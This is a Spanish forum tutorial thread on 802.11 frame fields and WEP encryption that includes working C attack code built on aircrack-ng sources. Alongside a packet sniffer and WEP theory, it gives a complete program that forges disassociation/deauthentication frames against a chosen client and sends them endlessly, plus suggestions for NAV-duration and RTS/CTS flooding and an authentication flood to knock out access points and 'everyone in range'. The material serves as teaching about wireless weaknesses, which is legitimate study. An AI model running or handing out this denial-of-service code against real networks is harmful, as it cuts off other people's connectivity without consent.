Es decir, NAV como mucho puede valer  2^15 =  32.768

O dicho de otra forma, el tiempo máximo que se puede reservar para la retransmisión de una trama es de 32.768 ¿qué?  Microsegundos.

Todas las estaciones de la red monitorizan las tramas y las cabeceras MAC’s, de tal forma que durante la transmisión  de la trama de otro equipo, "leen" la duración de la misma y añaden ese tiempo extra como tiempo de contención antes  de enviar sus datos.

Además puede haber más información en el campo Duración, por ejemplo, si los bits 15 y 14 están a uno indica un modo  especial llamado PS-Poll que se usa en combinación de otros valores para la administración de energía y  "despertar" a las estaciones que lo implementan, para nuestro taller, sin utilidad por el momento.

Vale...y ahora que??

Pues como vamos a empezar con las Denegaciones de Servicio...porqué no usar alguna de estas  "características" para ello.

Por ejemplo, enviar tramas con una duración de 32.768 que dijimos que eran una treintavo de segundo...bueno pues  menudo DoS, no?? Jajaja,

Y si enviamos unos cientos (o miles) de paquetes de "esos" ?? Qué pasará?? Lo imaginas, no???

Y si inundamos la red con CTS/RTS???

Pues eso mismo, son ejemplos...no todo consiste en Disociar o Des-autenticar a los clientes, pueden existir y existen  "otras formas de fastidiar" sin necesidad de echar a la gente a patadas :D

Después de esta explicación pasaremos a la práctica ;)


==============================================


Practicando DoS en 802.11

1.- La base de los programas que usaremos.
2.- Creación de un esnifer sencillo
3.- Envío de tramas de desautenticación/disociación
4.- Inundación RTS/CTS con duración manipulada

[size=18]1.- La base de los programas que usaremos.[/size]

Vamos a usar "parte" del código fuente de la suite de aircrack-ng para adaptarlos a nuestros ejemplos,  así el trabajo "duro" ya está hecho y de paso, vamos comprendiendo cómo esta gente llegó a donde ha llegado...

Estos scripts no son nada modulares ni "exportables", no contemplan los numerosos errores de programación que  seguro que tienen, igualmente seguro que "sobran" porciones de código, pero caray!! Que esto no es un curso  de C, así que perdonad por la falta de rigor en la programación y centrémonos en su funcionamiento...

Usaremos airodump-ng para "husmear" el medio y luego iremos afinando los ejemplos que nos ocupan.

También es conveniente que estés familiarizado con algún esnifer.

Lo primero nos descargaremos la suite de aircrack-ng y la instalamos:

http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz

Código:
--
tar xvfz aircrack-ng-1.0-rc3.tar.gz
cd  aircrack-ng-1.0-rc3
cd src
make unstable=true
--

En este punto ya podemos usarla...pero veamos nuestro primer programa:
 
2.- Crear un pequeño esnifer para examinar el tráfico. Programa  [/b]wifiesnif.c[/size]

En este ejemplo haremos lo siguiente:
*   Abrir la tarjeta inalámbrica para poder capturar y enviar paquetes (el envío en este ejemplo no está  implementado)
*   Capturar paquetes en el aire
*   Mostrar los paquetes capturados
*   Analizar el campo Frame Control de la cabecera MACEste mismo script podríamos usarlo para ir "mas allá", para analizar todo el paquete, los datos, el tipo de cifrado,  etc...pero para que no sea muy largo lo dejé tan sólo en:
*   Obtener los bytes de FC
*   Mostrar si se trata de un FromDS, toDS, WDS ó ad-hoc
*   Mostrar el tipo de trama: Administración Datos o Control
*   Averiguar si se trata de un paquete cifrado o noSe podrían implementar nuevas consultas, todas la que  desees, luego te "pongo deberes"

Te recuerdo que existirán líneas del tipo #include, #define y otras que pueden no ser necesarias, están porque poco  a poco irá creciendo el programa y se necesitarán más adelante.

Veamos lo "básico" del código:

Función dump_packet

Código:
--
void dump_packet(unsigned char* packet, int len) // volcado de paquetes a pantalla
{
    int i=0;
printf("\n");
    for(i=0; i<len; i++)
    {
        if(i>0 && i%4 == 0)printf(" ");
        if(i>0 && i%16 == 0)printf("\n");
        printf("%02X ", packet[i]);
    }
    printf("\n");
}
--

La utilizaremos para mostrar por pantalla el/los paquetes capturados

Función read_packet

Código:
--
int read_packet(void *buf, size_t count, struct rx_info *ri) // leer paquetes Wifi
{
    struct wif *wi = _wi_in; /* XXX */
    int rc;
    rc = wi_read(wi, buf, count, ri);
    if (rc == -1) {
        switch (errno) {
        case EAGAIN:
                return 0;
        }

        perror("wi_read()");
        return -1;
    }

    return rc;
}
--

Se encarga de capturar el tráfico y retorna como valor el tamaño del paquete leído

Estas dos funciones anteriores son prácticamente las mismas que usan la suite de aircrack.

Función captura_datos_FC

Código:
--
int captura_datos_FC( int caplen) // captura de datos WiFi, comprobaciones y guardar paquete .cap
{
    char elegido[1];
    int otromas, estado;
    caplen=0;
    while( 1 )
    {
caplen = read_packet( h80211, sizeof( h80211 ), NULL );
if(caplen <= 0) continue; // si la longitud no es válida. no se capturaron paquetes
dump_packet (h80211,caplen);
printf( "\nPulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?" );
        otromas=0;
        while(otromas==0) otromas = scanf( "%s", elegido );

usleep(300);

if( elegido[0] != 's' && elegido[0] != 'S' ) continue;

printf ("\n\tFrame Control: %02X:%02X\n", h80211[0],h80211[1]); //muestra los 2 bytes de FC
estado=h80211[1] & 0x3; // Valores de FromDS y toDS (0,1,2,3)
switch (estado) {
case 0: // comunicacions adhoc y tramas de control/administración
printf ("\t......FromDS  : 0\n");
printf ("\t......toDs    : 0\n");
break;
case 1: // paquete con dirección HACIA el sistema de districubión
printf ("\t......FromDs  : 0\n");
printf ("\t......toDS    : 1\n");
break;
case 2: // paquete enviado DESDE el sistema de distribución
printf ("\t......FromDs  : 1\n");
printf ("\t......toDS    : 0\n");
break;
case 3: // paquete enviado en WDS
printf ("\t......FromDS  : 1\n");
printf ("\t......toDs    : 1\n");
break;
}

// Comprobamos el tipo de trama (datos, administración o control)
if ((h80211[0] & 0x0C) == 0x08)
printf ("\t......Trama   : de DATOS\n");

if ((h80211[0] & 0x0C) == 0x00)
printf ("\t......Trama   : de ADMINISTRACION\n");

if ((h80211[0] & 0x0C) == 0x04)
printf ("\t......Trama   : de CONTROL\n");

// Averiguamos si se trata de un paquete con el bit de cifrado activado
if ((h80211[1] & 0x40) == 0x40) {
printf ("\t......Cifrado:  SI\n");
}
else
{
printf ("\t......Cifrado : NO\n");
     }
}

    return( caplen );
}
--

Esta función analiza el paquete capturado mediante read_packet usando un array llamado h80211[4096] como contendor  de los bytes en hexadecimal que se han leído.

De esta forma, por ejemplo, los valores de Frame Control estarán en h80211[0] y en h80211[1], la duración en  h80211[2] y h80211[3], etc...

Creo que con los comentarios incluidos en el propio código fuente es suficiente para que lo comprendamos a estas  alturas, no??
 
Y por último, la función main que es el inicio del programa:

Código:
--
int main( int argc, char *argv[] ) // inicio del programa
{
    int caplen;

//Comprueba el paso de parámetros
   if( argc != 2 ) {
     printf("\nUso: wifiesnif interface\n\nEjemplo: wifiesnif wlan0\n\n");
        exit( 0 );
    }

/* Abrir Interface wifi para enviar/recibir tráfico */

     opt.iface_out = argv[1];
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
            return 1;
    dev.fd_out = wi_fd(_wi_out);
    _wi_in = _wi_out;
    dev.fd_in = dev.fd_out;
    dev.arptype_in = dev.arptype_out;
    wi_get_mac(_wi_in, dev.mac_in);
    wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */
 
   setuid( getuid() );

/***************************************/
/* Llamada al esnifer                  */
/***************************************/
caplen=0;
caplen=captura_datos_FC(caplen);

exit(0);
}
--

Vamos, está claro lo que hace, no??

No hay que preocuparse de si sabemos lenguaje C o no, vamos no importa tanto cómo abrir la interface wifi, pero sí  es importante que comprendas bien la función captura_datos_FC y cómo se averiguan los estados de toDS, FromDS, wep,  etc...

El código completo lo tienes aquí: http://www.megaupload.com/?d=0SMDIKFJ

Guárdalo junto con los otras fuentes de aircrack (así será mas fácil compilarlo) por ejemplo con el nombre  wifiesnif.c

Para compilarlo:

Código:
--
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o wifiesnif.o wifiesnif.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude wifiesnif.o common.o crypto.o -o  wifiesnif -Losdep -losdep   -lssl -lcrypto
--

y ya está, lo lanzamos::

Código:
--
bt src # wifiesnif eth1

Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?n

08 41 1C 00  00 16 B6 41  03 5D 00 17  9A C3 D6 B9
00 16 B6 41  03 5B 80 88  2A 21 00 00  13 F5 7C F2
C5 E5 15 9D  CA 7C B1 17  09 25 84 05  1D 55 92 59
F0 95 43 2B  54 1F A2 41  B1 24 E1 F8  A5 47 7D 58
04 6C A4 AF  AB BC 27 C2  D9 31 E2 03  6E 7B CC F1
24 AE D0 0B  D9 F1 1A 25  E4 2D EE DC  0B C9 45 48
55 6D 58 55

Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?s

Frame Control: 08:41
......FromDs : 0
......toDS   : 1
......Trama  : de DATOS
......Cifrado: SI

D4 00 00 00  00 17 9A C3  D6 B9

Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?s

Frame Control: D4:00
......FromDS : 0
......toDs   : 0
......Trama  : de CONTROL
......Cifrado: NO

... .
... .
--

 
3.- Denegación de Servicios mediante el envío de tramas de Disociación o  desautenticación.

Para este ejemplo usaremos airodump con el objeto de fijar la red, el punto de acceso y el/los clientes  asociados.

Usaremos airodump y así fijar nuestro objetivo, recolectar la información necesaria y luego preparar nuestro script  con los parámetros adecuados.

Supongamos que lanzamos airodump mas o menos así

Código:
--
bt src # airodump-ng -w test eth1 -c1 -d 00:16:B6:41:03:5D

 CH  1 ][ Elapsed: 0 s ][ 2009-07-14 09:47

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

 00:16:B6:41:03:5D   78   0       16        2    0   1  48  WEP  WEP         TallerWIFI

 BSSID              STATION            PWR  Lost  Packets  Probes

 00:16:B6:41:03:5D  00:17:9A:C3:D6:B9   75     0        2
--

Allí vemos las macs del punto de acceso (BSSID) y de la víctima (STATION) que luego tendremos que pasarlas a nuestro  programa, que le he llamdo dos01.c

En este ejemplo, necesitaremos una función nueva que nos permita lanzar el/los paquetes a la red...esta es:  send_packet

Código:
--
int send_packet(void *buf, size_t count) // envio de paquetes WiFi
{
struct wif *wi = _wi_out;
if (wi_write(wi, buf, count, NULL) == -1) {
switch (errno) {
case EAGAIN:
case ENOBUFS:
usleep(10000);
return 0;
}

perror("wi_write()");
return -1;
}
return 0;
}
--

ChimoC:

Y también la función main cambia con respecto al anterior, esta es:

Código:
--
int main( int argc, char *argv[] ) // inicio del programa
{
    int z;

//Comprueba el paso de parámetros
   if( argc != 2 ) {
    printf("\nUso: dos01 interface\n\nEjemplo: dos01 wlan0\n\n");
        exit( 0 );
    }

/* Abrir Interface wifi para enviar/recibir tráfico */

     opt.iface_out = argv[1];
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
            return 1;
    dev.fd_out = wi_fd(_wi_out);
    _wi_in = _wi_out;
    dev.fd_in = dev.fd_out;
    dev.arptype_in = dev.arptype_out;
    wi_get_mac(_wi_in, dev.mac_in);
    wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */
 
   setuid( getuid() );

unsigned int mac_ap[6], mac_cl[6]; //mac_ap es la mac del AP y mac_cli la mac de la víctima
unsigned char DISO[26];

// Solicitamos la entrada de MAC's por pantalla
printf ("\nEscribe la MAC del Punto de Acceso --------> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);

printf ("\nEscribe la MAC de la Estación a Disociar --> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_cl[0],&mac_cl[1],&mac_cl[2],&mac_cl[3],&mac_cl[4],&mac_cl[5]);

/***************************************/
/* Construimos la trama de Disociación */
/***************************************/

// FRAME CONTROL bytes 0 y 1
DISO[0]=0xA0; // Esto es Disociación!!! también podemos usar 0xC0 que sería desautenticación!!!
DISO[1]=0x00;

// DURACION bytes 2 y 3 Valor al azar, para el ejemplo 023C
DISO[2]=0X3c;
DISO[3]=0X02;

// MAC DESTINO -- LA DE LA VICTIMA A DISOCIAR de la trama (DISO+4, DISO+5... hasta DISO+9)
for (z=0;z<6;z++) DISO[4+z]=mac_cl[z];

// MAC ORIGEN -- DEL PUNTO DE ACCESO QUE ENVIA LA DISOCIACION (DISO+10, DISO+11.... hasta DISO+15)
for (z=0;z<6;z++) DISO[10+z]=mac_ap[z];

// MAC DEL BSSID -- LA DEL SISTEMA DE DISTRIBUCIÓN que es el Punto de Acceso (DISO+16, DISO+17... hasta DISO+21)
for (z=0;z<6;z++) DISO[16+z]=mac_ap[z];

// Número de Fragmento y número de secuencia bytes 22 y 23
DISO[22]=0x00;
DISO[23]=0x00;

// Razón y Estado de la disociación bytes 24 y 25
DISO[24]=0x04; // La razón 4 significa: El tiempo de inactividad expiró y la estación fue disociada.
DISO[25]=0x00; // Estado 0 significa:   satisfactorio

// Mostramos en pantalla la trama a enviar
printf ("\nTrama a enviar"
"\n***** * ******\n");

dump_packet(DISO,26); //Volcamos el paquete a enviar por pantalla para ver su encapsulado

printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");

z=1;
while(1)
{
send_packet(DISO,26); usleep(20000);
printf ("\rEnviando trama número %i \r",z);
  fflush( stdout );
z++;
}

exit(0);
}
--

Al igual que antes, hay muy poco que explicar ya que los comentarios en el código hablan por sí mismos... observa  cómo se construye la trama "mal intencionada" y que se almacena en un array que he llamado DISO[]

Luego, lo único que hay que hacer es enviar esos datos almacenados mediante la función send_packet que hablábamos.

Para compilarlo

Código:
--
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o dos01.o dos01.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude dos02.o common.o crypto.o -o dos02  -Losdep -losdep   -lssl -lcrypto
--

Y antes de despedir esta parte... los deberes.
*   Modificar el código de wifiesnif.c para que nos diga (en el caso de que el paquete esté cifrado) con qué  tipo de cifrado nos topamos, esto es que diga si es WEP o WPA. (tendrás que investigar un poco por tu cuenta)
*   Modificar el código de wifiesnif.c para que nos diga si se trata de una trama QoS siempre que sea una trama  de datos
=========================================




Muchas gracias Vic_Thor por el bbcode y por hacernos disfrutar con las explicaciones.

Un saludo

ChimoC:

WEP (Wired Equivalent Privacy, Privacidad Equivalente al Cable)

WEP es uno de los métodos utilizados para cifrar las comunicaicones inalámbricas.

Es un algoritmo opcional, nada ni nadie obliga su utilización y si bien como veremos en este mismo apartado, es francamente vulnerable por todas partes, utilizar WEP siempre será mejor que nada.

Desde los inicios del estándar 802.11 se ha mantenido sin cambios a medida que aparecieron nuevas revisiones de los mismos (802.11a, 802.11b) precisamente para garantizar la compatibilidad entre los distintos fabricantes.

Está implementado en la totalidad de las tarjetas inalámbricas (y puntos de acceso)  y en muchos casos a nivel de MAC no sólo por software.

El cifrado de datos no garantiza el proceso de autenticación, esto es, podemos utilizar un sistema de cifrado de datos (como WEP) con autenticación "abbierta" o mediante clave compartida.

En el modo abierto una estación que recibe una solicitud de comunicación puede conceder la autorización de acceso a la red a cualquiera o sólo aquellas que estén incluidas en una "lista blanca", esa lista blanca no es otra cosa que una relación de MAC’s de las estaciones  a las que les está permitido el acceso a la red, o como lo conocemos de una forma mas coloquial, un filtrado de MAC.

Por tanto, en el modo abierto tenemos dos formas de autorización:
• abierta y sin autorización
• abierta y con filtrado de MAC.En un sistema de clave compartida, sólo aquellas estaciones que posean una llave cifrada serán autenticadas antes de proceder al cifrado o la comunicación.

El sistema de autenticación puede ser un equipo externo (un servidor de autenticación tipo RADIUS; AAA, etc..) y en otras ocasiones puede ser el mismo punto de acceso.

Ni que decir tiene que un sistema de autenticación mediante clave compartida (ya sea WEP u otros) es mas seguro que un sistema en modo abierto.

Recuerda: La autenticación es un paso diferente al cifrado.

Cuando se utiliza un cifrado (como WEP) y un sistema de claves compartidas (un sistema de autenticación) decimos que es una red en modo seguro.

De lo anterior deducimos que el cifrado es la forma adecuada de proteger los datos a transmitir y que la autenticación es la forma adecuada de validar qué estaciones tienen acceso al medio para poder transmitir, ambos en conjunto, implementan un sistema seguro.

WEP se desarrolló para garantizar la confidencialidad e integridad de los datos en los sistemas WLAN basados en el estándar 802.11, así como para proporcionar control de acceso mediante mecanismos de autenticación. Consecuentemente, la mayor parte de los productos WLAN compatibles con 802.11 soportan WEP como característica estándar opcional.

El Cifrado WEP.

WEP utiliza una clave secreta compartida entre una estación inalámbrica y un punto de acceso. Todos los datos enviados y recibidos entre la estación y el punto de acceso pueden ser cifrados utilizando esta clave compartida.

El estándar 802.11 no especifica cómo se establece la clave secreta, pero permite que la existencia una tabla que asocie una clave exclusiva con cada estación. En la práctica general, sin embargo, una misma clave es compartida entre todas las estaciones y puntos de acceso de un sistema dado.

Para proteger el texto cifrado frente a modificaciones no autorizadas mientras está en tránsito, WEP aplica un algoritmo de comprobación de integridad (CRC-32) al texto en claro, lo que genera un valor de comprobación de integridad (ICV) que se añade al final de cada trama a transmitir.

Nota aclaratoria acerca del ICV (ó CRC32)

En muchos lugares (libros, webs, foros, etc..) encontrarás que unos dicen que el ICV es el CRC32 de los datos sin cifrar a transmitir, otros dicen que el ICV es el CRC32 del contenido de los datos sin cifrar al que se le aplica el algoritmo RC4, en otros encontrarás que el ICV es el CRC32 de los datos sin cifrar al que se le aplica el un keystream (un flujo de bytes resultante del algoritmo RC4).

Ya… igual es un poco trabalenguas, te pongo una imagen de los tres casos para que observes bien las diferentes afirmaciones:

Caso a) El ICV es el CRC de los datos a transmitir sin cifrarry se añade al final de los datos cifrados.



Caso b) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica el algoritmo RC4 y que se añade al final de de los datos cifrados.


 
Caso c) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica un keystream resultante del algoritmo RC4 y que se añade al final de los datos cifrados.
 


Lo que está claro es que el ICV es el CRC32 de los datos a transmitir si cifrar y también está claro que se añaden al final del paquete cifrado… pero…

¿Se añaden "sin mas"? (caso a)

¿Se añaden tras aplicarle RC4? ) (caso b?

¿Se añaden tras aplicarle un keystream de RC4? (caso c)

¿Cual es el "bueno"?

Primero tendemos que aclarar que el CRC32 NO es un mecanismo de "seguridad", mas bien es un mecanismo de comprobación… para comprobar que el contenido de "algo" a enviar es el contenido de "ese algo" recibido.

No es particular de WEP, ni mucho menos, se aplica a numerosos formatos, escritura de archivos, ficheros zip, imágenes, SSL, etc… es sencillamente eso, una forma de constatar que no hubo errores en la operación (escritura, envío, compresión, etc..) y en algunos casos también podemos "recuperar" parte de la información dañada recalculando el CRC…

Otra cosa importante es que el CRC32 se calcula SIEMPRE sobre los DATOS y NUNCA sobre la cabecera, es decir, la parte correspondiente al Frame Control, duración, MAC’s, número de secuencia y QoS (si lo hay) no se incluyen en el CRC32.

Además, tenemos que añadir "otro elemento" al cifrado WEP, el IV (o Vector de Inicialización)

Este IV se añade al final de la cabecera MAC y son 4 bytes…. Este IV TAMPOCO forma parte del CRC32.

La trama a enviar de un paquete WEP tendría esta forma más o menos:



De los cuales sólo la zona amarilla es el resultado de aplicar el algoritmo RC4 a los datos sin cifrar y que (obviamente) da como resultado los datos cifrados.

Según esta afirmación podríamos asegurar que la respuesta a la pregunta que nos estamos haciendo es la a)
Esto quiere decir que si utilizamos el mismo IV y los mismos datos a transmitir el ICV será siempre el mismo.

También, quiere decir que si usamos diferentes IV’s  y los mismos datos a transmitir, el ICV también debería se el mismo para todos los paquetes… si haces la prueba verás que NO es así.[/list]Es cierto que para un mismo IV y mismos datos a trasmitir, el ICV es el mismo… pero si el IV "cambia" aunque los datos a transmitir sean los mismos, el ICV TAMBIÉN cambia.

Bueno, pues no alarguemos mucho mas esto….  La solución correcta es la c)

El caso b) tiene "trampa" y es que tras obtener RC4 se aplica un keystream al CRC32 calculado, por eso la confusión.

Por tanto, para generar un paquete (completo) cifrado con WEP la imagen correcta es esta:


 
Pero recuerda que el resultado (los datos cifrados) son un flujo (un keystream) resultante de aplicar RC4 al contenido del paquete a enviar en texto plano + su checksum (CRC32). A cada byte en plano se le aplica un byte del keystream obtenido que dará como resultado un byte cifrado.

Vemos que la cabecera MAC y el IV se transmiten en plano, mientras que los datos y el CRC32 se cifran con RC4

También hay que añadir que se si se utilizase un sistema de autenticación, habría cambios en la cabecera MAC puesto que se cifraría con la clave compartida… quedaría así:



De momento nos vamos a olvidar de los sistemas de autenticación, daremos por hecho que el sistema es abierto y cifrado con WEP.

Para comprender mejor el cometido del IV en este escenario, primero tenemos que hablar de RC4 y cómo lo aplica WEP.

Algoritmo RC4

Aunque desarrollado por RSA security, no hay que confundir RC4 con RSA.

Como muchos hemos aprendido, RC4 tiene una historia curiosa puesto que desde que se inventó (allá por el año 1987)  hasta el día de hoy no ha sido liberado su código… parece ser que 7 años después de su creación, apareció el código fuente publicado en una lista de correo, y es con esta "liberación forzada"  por lo que conocemos el funcionamiento del mismo.

RC4 genera un flujo pseudoaleatorio de bits (un keystream) que se combina con el texto plano usando la función XOR.

Es un cifrado simétrico (ambos extremos poseen la misma clave para cifrar y descifrar el mensaje) y genera el mismo número de bytes cifrados que los existentes en el texto plano (no te olvides que hay que añadir el CRC32 como parte del texto a cifrar)

Por eso se llama de "flujo", el tamaño del texto cifrado es idéntico al tamaño del texto resultante del cifrado, esto no ocurre con otros tipos de cifrado como pueden ser los de bloques.

El motivo de utilizar RC4 en WEP es por su simplicidad de cálculo en los procesos, si las redes inalámbricas ya tienen que competir con los esfuerzos de una transmisión rápida, colisiones, acceso compartido al medio, etc.. si le añadimos un algoritmo de cifrado que ocupe mucho tiempo en calcularse  o que genere un tamaño de texto cifrado mucho mas grande, la comunicación sería muy lenta.

Cómo funciona WEP
* Utiliza RC4 para el cifrado de datos+CRC32
* Uso llaves  de 64,128,256 bits.
* Estas llaves se genera a partir de una passphrase automáticamente.
* La llave o passphrase deben conocerla todos los clientesGeneración de llaves:

Las llaves realmente son de 40, 104 y/o 232 bits!!! Puesto que 24 bits son para el IV

Pongamos un ejemplo para claves de 40 bits.

Supongamos que el passphrase elegido para el cifrado de la red WEP es: currupipimix0



Como ves en la tabla, se realizan operaciones XOR entre los diferentes valores en hexadecimal de passphrase y se obtiene una semilla (seed) de 4 bytes:

Código:
--
63 XOR 75 XOR 69 XOR 30 = 3F
75 XOR 70 XOR 6D = 68
72 XOR 69 XOR 69 = 72
72 XOR 70 XOR 78 = 7A
--

Esta semilla (3F 68 72 7A) la usará PRGN (un generador de números pseudoaleatorios)  para generar 40 cadenas de 32 bits que a su vez se escogerá un bit para generar 4 llaves de 40 bits, de las que habitualmente sólo usaremos una de ellas. Esta será la clave WEP a utilizar.

Esto es lo que llamaremos más adelante KSA + PRGN.

De estos valores KSA y PRGN, se consigue el IV al que se le añade el "key index" (número de clave que está siendo usada) y se le pasan a RC4 para que genere el keystream del texto en plano.

De nuevo una figura es "más cómodo" para entenderlo:



Para descifrar el paquete recibido:
• El receptor extrae el IV que se envía inmediatamente después de la cabecera MAC.

• Examina el "key index" y escoge la clave apropiada.

• Como "conoce" la clave secreta , el key index de la llave escogida y el IV, puede generar su propio keystream.

• Realiza una operación XOR entre los datos recibidos y el keystream calculado, de tal forma que obtiene los datos en plano.

• Calcula el CRC32 de los mismos y lo comprueba haciendo también un XOR del ICV recibido con el keystream de los bytes correspondientes.

• Si el CRC32 concuerda, procesa los datos, en caso contrario los descarta.De esto desprendemos que:

Código:
--
Texto plano XOR texto cifrado = keystream
--

Si conocemos dos de esos tres valores podemos obtener el tercero, obvio, claro… pero ya veremos mas adelante que esto es muy útil.

SNAP y LLC

Hasta ahora hemos hablado de datos en texto plano (los datos a enviar) y datos cifrados (lo que realmente se envía tras realizar las operaciones con  RC4, keystream, llaves, etc..)

Pero hay algo importante que se debe conocer: A los datos en texto plano se les "antepone" una cabecera nueva… lo que se llama la subcapa LLC ó SNAP.

Esto es un control de enlace, para el caso que nos ocupa, esta cabecera SNAP permite usar los datos Ethernet con los valores de 802.11,, de este modo pueden operar "entre ellos".

El estándar dice que deben comenzar por 0xAA, en la práctica y siguiendo con el caso de las redes inalámbricas, la cabecera SNAP y/o subcapa LLC suele tener estos valores:
AA AA 03 00 00 00; 6 bytes para comunicaciones sin el protocolo Spanning-tree (usado por vlans)

42 42 03 00 00 00: 6 bytes para las comunicaciones en los que Spanning-tree está activado.[/list]Puedes averiguar mas información acerca de la subcapa LLC y SNAP en:

http://es.wikipedia.org/wiki/IEEE_802.2

O sea, que a los datos a transmitir en texto plano se les anteponen 6 bytes para la cabecera SNAP/LLC. De tal forma que si queremos transmitir algo así:

Código:
--
08 06 00 01 08 00 06 04 00 02 ……… (esto es un ARP Response)
--

Realmente se envían:

Código:
--
AA AA 03 00 00 00 08 06 00 01 08 00 06 04 00 02 ……… (esto es un ARP Response)
--

A decir verdad, lo que sería la cabecera SNAP/LLC sería (para este ejemplo):

Código:
--
AA AA 03 00 00 00 08 06
--

Y los datos:

Código:
--
00 01 08 00 06 04 00 02 ...
--

Es decir, la cabecera SNAP/LLC son los consabidos 6 bytes + 2 primeros bytes de los datos a enviar (estos dos bytes definen el protocolo que se usará, ARP, IP, etc..)
 
Por tanto, tanto RC4 como el keystream hay que calcularlo de la cabecera SNAP + Datos en texto plano!!!

Ejemplo de la captura de un esnifer  de un paquete ARP RESPONSE sin la cabecera SNAP (paquete capturado desde una interface ethernet)


 
Ejemplo de la captura de un esnifer  de un paquete ARP REQUEST junto con  la cabecera SNAP (paquete capturado desde una interface 802.11)



Como ves en la pantalla anterior, LLC se antepone a los datos a enviar.
 
Bueno, y al margen de WEP, hay que señalar una cuestión especial…

¿No ves nada "extraño" en esta captura?

Seguro???

Fíjate bien… Durante todo este Taller, venimos diciendo que el protocolo 802.11 comienza por un FC, etc… (lo que llamamos la cabecera MAC) y según la captura anterior, y si observas bien la pantalla, verás que ANTES de la encapsulación IEE 802.11 aparece una "cosa" que dice AVS WLAN Monitoring Header

Y si te fijas aún mas, veras que es en la posición 0x40 donde realmente comienza el FC y la cabecera MAC.

¿Qué son los 0x40 (64 bytes) anteriores??

Esto nos ocurrirá cuando utilicemos tarjetas Prism!!! Este tipo de tarjetas WiFi añaden una cabecera propia de 64 bytes a toda la trama…

Uff, esto puede ser un problema (que realmente no lo es tanto) pero nos puede dificultar las explicaciones, resulta que si usamos Prism, la cabecera MAC comienza en la posición +64 bytes del paquete mientras que si no usamos Prism, comienza el la posición +0.

Podemos resolverlo de un plumazo…. (desde Linux) , si antes de usar los programas de captura, esnifers, airodump, etc, etc… ejecutamos esto:

Código:
--
iwpriv set_prismhdr 0
--

Desactivamos las cabeceras prism...


 
Ahora ya no aparece eso del AVS WLAN Monitoring… y la cabecera MAC comienza en la posición cero como hemos venido estudiando.

Autenticación con WEP:

El proceso de autenticación precede al de envío de datos, antes de poder enviar información por la red debemos estar autenticados y asociados…

Si usamos WEP como cifrado en modo seguro (esto es, cifrado + clave compartida) el proceso de autenticación es así:
Cuando una estación trata de conectarse con un punto de acceso, éste le envía un texto aleatorio, que constituye el desafío (challenge).

La estación debe utilizar la copia de su clave secreta compartida para cifrar el texto de desafío y devolverlo al punto de acceso, con el fin de autenticarse.

El punto de acceso descifra la respuesta utilizando la misma clave compartida y compara con el texto de desafío enviado anteriormente.

Si los dos textos son idénticos, el punto de acceso envía un mensaje de confirmación a la estación y la acepta dentro de la red.

Si la estación no dispone de una clave, o si envía una respuesta incorrecta, el punto de acceso la rechaza, evitando que la estación acceda a la red.[/list]

En el caso de que usemos WEP en modo abierto, (sin el uso de claves compartidas) podremos autenticarnos (no asociarnos), no podremos enviar datos puesto que desconocemos la clave wep y lo que recibamos tampoco "lo entenderemos" puesto que está cifrado.

Resumen:
1º) El cliente escoge la clave WEP para acceder a la red con la que se quiere asociar

2º) Se genera un IV (Vector de Inicialización) "aleatorio"

3º) Se añade es IV inmediatamente después de la cabecera MAC

4º) se combina el IV con la clave wep elegida y se cifran mediante RC4,

5º)  se obtiene un keystream resultante del cifrado con RC4

6º) Se toman los datos a enviar en texto plano, anteponiendo SNAP y calculando un CRCR32 de todo (LLC+SNAP+Datos)

7º) se realiza una operación XOR entre el keystream obtenido en el paso 5º) y los datos en texto plano del paso 6º) y el resultado se añade a continuación del IV en la trama de datos.

8º) El CRC de 32 bits dará como resultado un ICV (Control o Comprobación de Vector de Inicialización)

9º) Se añade ese ICV al final del paquete y se termina con la construcción del paquete cifrado de datos.
Un par de ejemplos de Denegación de Servicio con WEP.

Antes de ponernos a analizar "más afondo" cuales son las debilidades de WEP, vamos a realizar dos ejercicios del tipo DoS para empezar a entender por dónde vienen los tiros…

El primero es un ataque de Denegación de servicio contra Puntos de Acceso, casi todos los ataques DoS se centran en los clientes, aquí vamos a "probar" nuestros puntos de acceso y/o routers inalámbricos.

El segundo es una "maldad", basado en el mismo principio, vamos a desautenticar a "todo bicho viviente" que aparezca al alcance….

[size=18]Probando la resistencia de un punto de acceso.[/size]

Como ya he dicho, esto puede ser una prueba útil para que compruebes la resistencia de tu punto de acceso contra desbordamiento de recursos…

La idea es muy simple, si usamos una autenticación abierta, ya hemos comentado en la parte de teoría que nos podemos autenticar…

Hasta aquí todo bien… pero y si en lugar de autenticar una estación (una MAC) autenticamos…. 5000, 10000…. En unos segundos???

Pues esto es lo que hace este pequeño programita… autenticar cientos de estaciones por segundo, el resultado final será un consumo excesivo de los recursos del punto de acceso o router inalámbrico y denegación de servicio al canto.

En ocasiones puede incluso hasta afectar a todo el sistema en general, con lo que en routers domésticos podemos dejar sin comunicación no sólo a los clientes inalámbricos, también a los de cable, Internet, etc…

Como siempre en el código fuente del programa he intentado explicar con detenimiento todo el proceso:

Como en los otros ejercicios, se utiliza la función send_packet que nos permite enviar paquetes por la interface Wifi que dispongamos y dump_packet para "ver" la trama que enviamos…

